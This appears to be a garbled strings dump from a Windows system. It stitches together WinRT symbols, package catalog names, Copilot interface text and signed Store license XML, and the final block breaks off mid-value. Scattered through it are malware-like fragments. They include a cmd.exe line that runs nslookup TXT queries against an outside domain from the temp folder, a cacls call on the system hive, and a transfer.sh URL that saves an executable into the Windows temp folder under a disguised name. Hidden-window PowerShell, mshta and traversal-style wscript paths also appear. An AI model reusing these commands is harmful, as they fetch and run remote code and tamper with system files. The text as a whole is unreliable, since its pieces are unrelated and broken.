.?AU?$consume_Windows_UI_Xaml_IDependencyObject@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIDependencyObject2@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IDependencyObject2@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@UIFrameworkElementProtected7@7894@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIControlProtected@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControlProtected@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UFilterControl@implementation@TaskManagerApp@winrt@@UIFrameworkElementProtected7@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_IFrameworkElementProtected7@UFilterControl@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$base@UFilterControl@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@UUserControl@67894@UControl@67894@UFrameworkElement@7894@UUIElement@7894@UDependencyObject@7894@@impl@winrt@@
.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UPage@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UUserControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$base_one@UFilterControl@implementation@TaskManagerApp@winrt@@UControl@Controls@Xaml@UI@Windows@4@@impl@winrt@@
 .exe-windowstylehidden"get-service;$
Windows
\system32\x00
Got Winlogon h
dc:\windows\system32\b
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411220~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0113~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Embedded-AssignedAccessCsp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
.?AU?$default_delete@VXamlCore@WindowsXamlManager@DirectUI@@@std@@
mAS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
windows\currentversion\runsales
2026/02/20-17:14:06.955 19a4 Creating DB C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension Rules since it was missing.
 Escribe o teu contrasinal de Windows para permitir isto.copilotupdateServizo de actualizaci
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
ows\system32\mshta.exe
Software\Microsoft\Windows\CurrentVersion\Explorer
Software\Microsoft\Windows\CurrentVersion\Explorer\FileAssociation
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-NetAdapterCx-UMDF-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
@windows
c:\windows\system32\cmd.exe/c"cd%tmp%&nslookup-type=txtpua.syscloud-systems.com
>nul2>&1"%systemroot%\system32\cacls.exe""%systemroot%\system32\config\system"
\windows\system32\cmd.exe/c
\..\..\..\..\..\windows\system32\wscript.exe
\..\..\..\..\..\windows\system32\wscript.exe
\..\..\..\..\..\windows\system32\wscript.exe
0\..\..\..\..\..\windows\system32\wscript.exe
\..\..\..\..\..\windows\system32\wscript.exe
url="https://transfer.sh/get/yvpwpe/imagefront.exe"'wheretodownloadthefilefromfilename="c:\windows\temp\wofficelog.exe
Microsoft-Windows-Client-Desktop-Required-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
<	%s\system32\%s.\lanmandrv__intsrv32__srvmgr32%d.%d.
windows.hlp`
9NRX63209R7BOutlook for Windowshttps://store-images.s-microsoft.com/image/apps.33530.14374512070697751.25968c71-506c-4ac6-a02b-fe78a2531693.543a17fa-949f-4fd9-80fe-958221056f1aen
9NRX63209R7BOutlook pour Windowshttps://store-images.s-microsoft.com/image/apps.33530.14374512070697751.25968c71-506c-4ac6-a02b-fe78a2531693.543a17fa-949f-4fd9-80fe-958221056f1afr
r Windowshttps://store-images.s-microsoft.com/image/apps.33530.14374512070697751.25968c71-506c-4ac6-a02b-fe78a2531693.543a17fa-949f-4fd9-80fe-958221056f1ade
9WZDNCRFJ3PVWindows Scanhttps://store-images.microsoft.com/image/apps.46418.9007199266246187.4a088546-84d9-4ec6-ba55-56ffb7d49ad9.c6d6a055-853f-452f-9d41-556db7125d07en
9WZDNCRFJ3PVScanneur Windowshttps://store-images.microsoft.com/image/apps.46418.9007199266246187.4a088546-84d9-4ec6-ba55-56ffb7d49ad9.c6d6a055-853f-452f-9d41-556db7125d07fr
9WZDNCRFJ3PVWindows-Scannerhttps://store-images.microsoft.com/image/apps.46418.9007199266246187.4a088546-84d9-4ec6-ba55-56ffb7d49ad9.c6d6a055-853f-452f-9d41-556db7125d07de
K""; // https://msdn.microsoft.com/en-us/library/windows/desktop/gg537740%28v=vs.85%29.aspxo
windows.hlp`
onecoreuap\windows\moderncore\inputv2\utilities\ismstatics\system\ismscenarios.cpp
onecoreuap\windows\moderncore\inputv2\utilities\ismstatics\system\ismtestmode.cpp
onecoreuap\windows\moderncore\inputv2\components\attachableinputobject\system\componentui\server\cuihierarchy.cpp
onecoreuap\windows\moderncore\inputv2\components\systemcontext\endpoint\systemcontextendpoint.cpp
onecoreuap\windows\moderncore\inputv2\contextualprocessors\processors\delegatedinkcanvas\lib\delegatedinkcanvasprocessor.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpc3dstatehelper.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcgesturehandlermanager.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcgamepadinputhelper.cpp
onecoreuap\windows\moderncore\inputv2\inputprocessors\devices\mpc\lib\mpcconstantmanager.cpp
onecoreuap\windows\moderncore\Inputv2\InputHost\Components\MPCManager\bamo\objfre\amd64\MPCManagerBamo.MPCManagerBamo.bamo.h
onecoreuap\windows\moderncore\Inputv2\InputHost\Components\MPCManager\bamo\objfre\amd64\MPCManagerBamo.MPCAsyncHelpers.bamo.h
onecoreuap\windows\moderncore\Inputv2\InputHost\Components\MPCManager\bamo\objfre\amd64\MPCManagerBamo.Common.bamo.h
onecoreuap\windows\moderncore\inputv2\systeminputhosts\onecoreuap\lib\sessionmonitor.cpp
onecoreuap\windows\moderncore\inputv2\systeminputhosts\components\inputsinkdatacache\inc\InputSinkDataCache.h
Microsoft.Windows.UserDataAccess.Unistore
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="cea485d4-4ef8-4130-8524-666ef76a6fcf" LicenseID="a600a1da-11a5-e329-3ba6-4bfa6d5c5add" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.Todos_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:38:59.1233338Z</IssuedDate><LastUpdateDate>2026-02-20T10:38:59.1134138Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiNjY0NWFjNTctODM4Yy1mY2UwLWNkZDYtMmUyYzBhZTczOWNmIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhJTNhMTA1NTUyMTM1MjE3Mzg3NyZjb250ZW50SWQ9YjdhZGQyNDYtNGNmOC0zZTU5LTRkM2UtMThkYThhZTNjODhkJmVudGl0bGVtZW50SWQ9NjY0NWFjNTctODM4Yy1mY2UwLWNkZDYtMmUyYzBhZTczOWNmJm1hcmtldD1DSCZwb2xpY3lUeXBlPURldmljZSIsImtleUlkcyI6WyIwMDUwN2QxMi0yOTk2LTFmYmEtZGNjZS0zZWVhYzM3YjE5YzUiXSwia2luZCI6IkNvbnRlbnQiLCJwYWNrYWdlcyI6W3sicGFja2FnZUlkZW50aWZpZXIiOiJiN2FkZDI0Ni00Y2Y4LTNlNTktNGQzZS0xOGRhOGFlM2M4OGQiLCJwYWNrYWdlVHlwZSI6Im1zaXgiLCJwcm9kdWN0QWRkT25zIjpbXSwicHJvZHVjdElkIjoiOU5CTEdHSDVSNTU4Iiwic2t1SWQiOiIwMDEwIn1dLCJwb2xsQXQiOiIyMDI2LTAzLTA2VDEwOjM4OjU5LjExMzIyNDYrMDA6MDAiLCJyZWZyZXNoT25TdGFydHVwIjpmYWxzZSwidmVyc2lvbiI6N30=</CustomPolicies><SPLicenseBlock>FAAAAKQAAADJAAAACgAAAAUAAgDDOZhpAADLAAAAEAAAANqhAKalESnjO6ZL+m1cWt3OAAAAPAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdABvAGQAbwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCbsUWXq/6Qf6j9jUCEYATk6H3RRowvN85zxaW6nwvTX9MAAAAEAAAAw66qacwAAABEAAAAAQACAHAFqAxQuDXdNnhHiw6qE7hmZgpsFPopDGabcusw/CwBuhFV4UnVL/SL2YNdHlhNHtcKP552nA1JHvy5YaFAI1s=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>NynezTqdmlN07foHBO1yXdbrNtfnnMn6g4AmH3CiScY=</DigestValue></Reference></SignedInfo><SignatureValue>l8euIItghAMSXnEA0GA1otrTLETAZXthICZKOCEBFCiScPYcAyaJNg9O5ya7lJD18VdTArfxfAljmsizYFHKrY/U12egcAoTYYd9+bKm6FChrBAgD0gDiN9LLts/n1zltRksBa40JPQZtUynOIBuU+dVAZkuSB0svjZipaUeJQi4pSUxiiPSG0bT8tgWp3oskhxsFESLMgaXd7m5gnaM9tfPtl6XgD/gbzqr2/OOlcGZ/FYM3+Jv7KyzI0k1VLHHARqVt1AJBACn48CnnkueFW4JFaWzgTnZeWpZEX1HaMjvcRasZc2u1sJfYSNYxyZ6myggh7P+dkCUhUDnRXle1g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="c5ff5650-8238-4494-9d43-0f277fe8a463" LicenseID="00507d12-2996-1fba-dcce-3eeac37b19c5" ContentID="b7add246-4cf8-3e59-4d3e-18da8ae3c88d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9NBLGGH5R558</ProductID><PFM>microsoft.todos_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T21:55:50.273096Z</IssuedDate><LastUpdateDate>2026-02-19T21:55:50.2625467Z</LastUpdateDate><BeginDate>2026-02-19T21:55:50.2625461Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIzNDA5YzA0Ni1kZGQyLTQ2NTctOWUzNy1jY2NmOTkwNGY3ZWUifQ==</CustomPolicies><SPLicenseBlock>FAAAAKQAAADJAAAACgAAAAUAAQDmhpdpAwDLAAAAEAAAABJ9UACWKbof3M4+6sN7GcXOAAAAPAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdABvAGQAbwBzAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQCbsUWXq/6Qf6j9jUCEYATk6H3RRowvN85zxaW6nwvTXyAAAAAEAAAA5oaXacwAAABEAAAAAQACAKLtDh5BaJoSX9a+9hN/NiQMzsJB1Fy1QVLELFLDlHqNpYl/MWaHiBJ46AKdbWkDYJ1h+OZ1CwVjnuouW5oScLc=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>kg99Fd++igNjrb2DbgQQQPaOom1QggZdbQ47o5dy+AA=</DigestValue></Reference></SignedInfo><SignatureValue>JszR6QzW+t3OG53eRb3MeO5dBZX7w10HW9eBdqaPlmTysKlynNHB5iqRRdnDW8ia3V8vcEOT4Hq6WSfv0eflSJ1LL77Y3UFE0dl6HXvnBi1oRpt29i2oa1FjpOwTTIjRJZD+K6dv2E80gAFfLOKarg9wliYE/02P5LfLwYvSX3ebGhfoqR/LKi/MfHE6YJt12dwb8/1cDhGvPg51IrpHl7VssGvQbXSXQdknOW0LtuZhcUtmYRkhijEuJNiTDE/gfhGZlysJXQetOlK1A8SPA3NlTNhXHwcfIoqnE5cxfo9diHY1hVaPUnFlwvj6g3r2fbkmvirxb5LfEn/1RfjH8Q==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="3c546fa2-3b97-4b3b-a9f2-b7e7843b7419" LicenseID="81a230a5-a63c-0319-c2be-e4c7e8f2049f" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T06:18:29.1482852Z</IssuedDate><LastUpdateDate>2026-02-20T06:18:29.1423237Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiZjVkMGY4NjctZTExZC04ZjljLWRlMzUtNTQyNmMzODlkZTE5IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODk2MjMxNjg4MzQ5MzgwJmNvbnRlbnRJZD1jZDA0MmVhNS05Yzc3LTM0YzAtMjE4Ni1jZjY5ZGYwMmVmNWEmZW50aXRsZW1lbnRJZD1mNWQwZjg2Ny1lMTFkLThmOWMtZGUzNS01NDI2YzM4OWRlMTkmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjA1MjliMDE5LTAxMjItN2NiOS04ZmIzLTAxNjFhMzAxZGFkMyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImNkMDQyZWE1LTljNzctMzRjMC0yMTg2LWNmNjlkZjAyZWY1YSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UENTRDZOMDNCS1YiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMDY6MTg6MjkuMTQyMTYwOCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAOIAAADJAAAACgAAAAUAAgC1/JdpAADLAAAAEAAAAKUwooE8phkDwr7kx+jyBJ/OAAAAegAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAGMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAZQBuAGgAYQBuAGMAZQBtAGUAbgB0AHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAH1jeTMN/MBKjRjUD9pzG2/RCy8J4wx5Cv81ujvM6vJG0wAAAAQAAAC1cappzAAAAEQAAAABAAIA7DXXOyIaxoi6zXFJlK7N4LOqO3KggB5e6If5pkqqwQyrGkjOxq6hb8RGqJNF5jvKaqXmVZb7dnfNUTLPsa+T7w==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>9PCr/fvvR/cdZ68tKwFLCPsfgiKoz4pMzLiQlc4l7Eg=</DigestValue></Reference></SignedInfo><SignatureValue>ZDGsS7btHmr4PJyqjclt2BmG/WwRoQHUy/tao01Eu3xBlgGI8a89+dLiHNxehkd3cfng2FBKJ592Rlg/VAEgX6fC66m0s0MDZb4ZrQQcmRwNk62zUwxXlQrfHkZXrPLrIpcHgjolN/wDt+TjjRpLOXa1SZ0gmsHz1QZsuuH7HHZOfxhSB0mKbG3KJ3iP/sdnAxBgpBPRutkjZaGUfpA34XdMqxbpqRZOnu/7OzULRGW6R1S7SvaxnhGPmgoZYBsj5rmpk/jSZ4nEDAnZs27Vx51R5Cw0XiyTTbb+7QqMYLF1GNsKN5gDzRuVsuVfn/pYgfE47sPaLCCzIbQlQtKOeA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="00e97845-29df-4443-b267-4cba2d31bde3" LicenseID="0529b019-0122-7cb9-8fb3-0161a301dad3" ContentID="cd042ea5-9c77-34c0-2186-cf69df02ef5a" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PCSD6N03BKV</ProductID><PFM>microsoft.applicationcompatibilityenhancements_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T05:45:12.0236447Z</IssuedDate><LastUpdateDate>2026-02-20T05:45:12.0158275Z</LastUpdateDate><BeginDate>2026-02-20T05:45:12.0158266Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiIxODA4ZDJmOC05NDgyLTQ0YWMtOWZkYi05OTVlNTU1YjU4Y2UifQ==</CustomPolicies><SPLicenseBlock>FAAAAOIAAADJAAAACgAAAAUAAQDo9JdpAwDLAAAAEAAAABmwKQUiAbl8j7MBYaMB2tPOAAAAegAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQBwAHAAbABpAGMAYQB0AGkAbwBuAGMAbwBtAHAAYQB0AGkAYgBpAGwAaQB0AHkAZQBuAGgAYQBuAGMAZQBtAGUAbgB0AHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAH1jeTMN/MBKjRjUD9pzG2/RCy8J4wx5Cv81ujvM6vJGIAAAAAQAAADo9JdpzAAAAEQAAAABAAIAeLb1hOSG1x+xrghuk0/UUoG5H5PGyuODEZzVdYps81MWzNq+6XrGNPrsjwiG4K+0DWAIF5EY/cW2ovJi+8YoVA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>Q32uuGrqK+aZUcyTXxANACw40u9xZIWx5+NZmkexZn8=</DigestValue></Reference></SignedInfo><SignatureValue>Z6klT9ZbY6aC1IreOCdp4pvanLxde/qHhmvEasmKrbkb/KYOhU6oyGm+eII/A475IaVcmo5ZDyOaFuyD5I4ZY5NYa+ZID3Az49RurrpOEVgXSrEo9GAEBf4LP0Xjqmn7TEOxEomKjcTLINWiooqrfbMvyFNuK6UMuzcBLW190PVzKiIQ0hthRTxmFnPqLFKcrGbcbBmLbUnGAojrRYzs5MuAx8INL12I4PxsB8n1tD58MJq0Hhc+yTmfc/9zFPwFPgEbRvfDV65iKyn8R3gHcBjiDd499Tl0mUhXxY45+Q0Xm84BcfaJIEboAgYFKa9fM9ICjja+6pg79uyEEpSNBg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
Bm<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="e35eb86c-fbe8-4c39-8563-249b56aea33a" LicenseID="a900c622-99e6-0d09-3f2b-fc30e2f4563b" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.YourPhone_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:19:09.9754535Z</IssuedDate><LastUpdateDate>2026-02-20T13:19:09.9416048Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiYjQwMDMxNDAtMGRjNC0zZjRiLWQ5MmYtZDZiNmZkZjIyYTVjIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2ODI1ODU0MzQyMDA1OTM4JmNvbnRlbnRJZD1lZWU1Mzc0NC0yYmI5LWJjYTItYTUwYS1jNmExYzViMGEwZWQmZW50aXRsZW1lbnRJZD1iNDAwMzE0MC0wZGM0LTNmNGItZDkyZi1kNmI2ZmRmMjJhNWMmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjBmOGUyY2Q1LWI4ZWItN2EyMi1iOWU5LTliMTE4M2ZhMGE4NCJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImVlZTUzNzQ0LTJiYjktYmNhMi1hNTBhLWM2YTFjNWIwYTBlZCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5Tk1QSjk5VkpCV1YiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTM6MTk6MDkuOTQxNDIzMyswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAgBOX5hpAADLAAAAEA